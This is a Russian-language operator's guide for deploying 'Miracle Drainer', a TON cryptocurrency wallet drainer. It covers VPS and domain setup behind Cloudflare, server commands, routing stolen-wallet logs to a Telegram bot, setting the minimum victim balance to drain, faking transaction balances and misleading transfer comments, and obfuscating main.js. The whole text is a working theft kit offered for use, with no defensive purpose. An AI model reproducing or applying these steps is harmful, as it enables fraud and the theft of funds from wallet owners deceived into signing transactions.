Miracle Drainer
Установка дрейнера:
VPS
- Качаем FileZila.
- Покупаем VPS дедик. ( рекомендую powervps ).
2.1 Проходим регистрацию.
2.2 Заходим в личный кабинет -> главная -> заказать услугу -> виртуальный сервер -> заказать. ( Можно брать даже самый дешевый ). - 3.1. Ничего не трогаем.
3.3. Обязательно выбираем Ubuntu 22.4.
3.4. Оплачиваем и ждем когда дедик встанет.
4. Далее переходим в заказы выбираем свой дедик -> инструкция и сохраняем
ip, пользователя и пароль (если вы его забыли можете сбросить).
Domain
- Покупаем домен (если вы работает через рассылку тг, можете брать абсолютно любой домен) рекомендую использовать этот сервис.
- После покупки заходим: мои домены -> вашдомен.com -> замена NS-записей.
- Регаем cloudflare.com, после: account home -> starred ( Go to websites ) -> add a site -> вводите свой домен который купили ранее -> confirm plan -> quick scan -> continue -> копируете NS которые у вас появились ниже и вставляете их в бота где купили домен -> замена NS-записей -> возвращаетесь в cloudflare и жмем continue -> continue.
- Заходите в DNS выбираете свой домен и жмете add record
5. Далее заходим -> SSL/TLS -> подвкладка Overview и жмем Flexible.
6. После caching -> подвкладка Cache Rules.
7. Create Rule -> имя любое -> Edit expression вписываем true -> жмем на
8. После caching -> подвкладка Configuration и жмем Purge Everything.
Если у вас ошибка: Sorry, you do not have access to purge cache for that zone id or that zone id is invalid (Code: 1095).
значит домен еще не подключился ПРОСТО ЖДЕМ.
НАСТРОЙКА VPS
Подключаемся на дедик через SSH.
- Открываем cmd от им. администратора.
- Прописываем: ssh root@ip_vps_сервера, если вы все сделали правильно, то у вас попросят пароль от сервера, вставляем его нажатием ПКМ -> enter.
- Далее по очереди вписываем команды, ОБЯЗАТЕЛЬНО ЖДЕМ ИХ ВЫПОЛНЕНИЕ, а после вписываем следующую.
wget -qO- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash
export NVM_DIR="$([ -z "${XDG_CONFIG_HOME-}" ] && printf %s "${HOME}/.nvm" || printf %s "${XDG_CONFIG_HOME}/nvm")" [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" # This loads nvm
nvm install --lts
npm install pm2 -g
apt-get update
apt-get install nginx ufw
ufw allow OpenSSH
ufw allow 80
ufw enable
4. Далее кидаем только ПАПКИ которые вы получили от меня, закидываем их на сервер в папку /root.
cd ./tondrain
npm i
pm2 start ./index.js --name front
cd ../tondrain_backend
npm i
pm2 start ./index.js --name back
- Открываем FileZila
- Подключаемся к серверу
- Закидываем файл default в папку /etc/nginx/sites-enabled (С ЗАМЕНОЙ)
- Прописываем команду в ssh
nginx -s reload
Настройка файлов дрейнера
Отстук:
- Создаем TG бота и сохраняем его токен.
- Создаем TG канал и добавляем своего бота и myidbot ( ОБЯЗАТЕЛЬНО ДАЕМ ИМ ПРАВА АДМИНИСТРАТОРА ).
- Далее прописываем эту команду в наш чат /getgroupid@myidbot.
- Бот ДОЛЖЕН ВЫДАТЬ supergroup ID
- Открываем файл tondrainer\tondrain_backend\.env в BOT_TOKEN вставляем токен бота LOGS_CHANNEL вставляем ID супер группы ( ПОРТ НЕ ТРОГАЕМ ).
- После любых изменений в папке tondrain_backend вводим эту команду в ssh:
pm2 restart back
nginx -s reload
Смена адреса:
- Открываем .env и меняем значение после ADDRESS=
- После депните на адрес 1 ton и перевидите его обратно на свой адрес ( это нужно, что бы активировать кошелек ).
Настройка минимального баланса:
- Открываете tondrainer\tondrain\public\index.html.
- Ищем строчку window.MIN_USD = 10; (10 = минимальный баланс для списывания)
Настройка баланса фейк транзакции:
balance: "100000000000", = 100к
balance: "10000000000", = 10к
balance: "1000000000", = 1к
balance: "100000000", = 100
- Нужно будет изменить комиссию за отправку. Актуальные значения:
NFT = 1.1TON = 1100000000n
JETTON = 0.06 TON = 60000000n
После любых изменений в папке tondrainer вводим эти команды в ssh:
pm2 restart front
nginx -s reload
Как обфусцировать код:
- Заходим на этот сайт
- Удаляем код ниже. ( который появляется на сайте )
- Вставляете код с main.js.
- Нажимаем Protect.
- ОБЯЗАТЕЛЬНО УДАЛЯЕМ 1УЮ СТРОЧКУ - // Job ID: ajaWbanbmdasd3d.
- Сохраняем наш файл и кидаем его в tondrainer\tondrain\public.
- Main.js НЕобфусцированный сохраняем к себе куда угодно.
Куда сохранять ленд:
- Все файлы дрейнера находятся тут tondrainer\tondrain\public
- ОБЯЗАТЕЛЬНО кидайте main.js уже обфусцированный!
Делаем кастомный комментарий к переводу.
Открываем tondrainer\tondrain_backend\tonUtils.js
- Комментарий у транзакции на отправку. В 1 пункте это сумма транзакции умножить на 2
(Пример: сумма отправки транзакции - 100 ton, комментарий будет "+200 TON") - В 2 пункте вместо TON можно написать любой текст.
- Комментарий для НФТ. По умолчанию стоит комментарий на отправку нормальной NFT: "+500 TON", у спам (скам) NFT не будет комментария, т.к система пометила данную нфт как СПАМ
- После всех изменений вписываем команду в ssh:
pm2 restart back
Остальное я трогать не советую.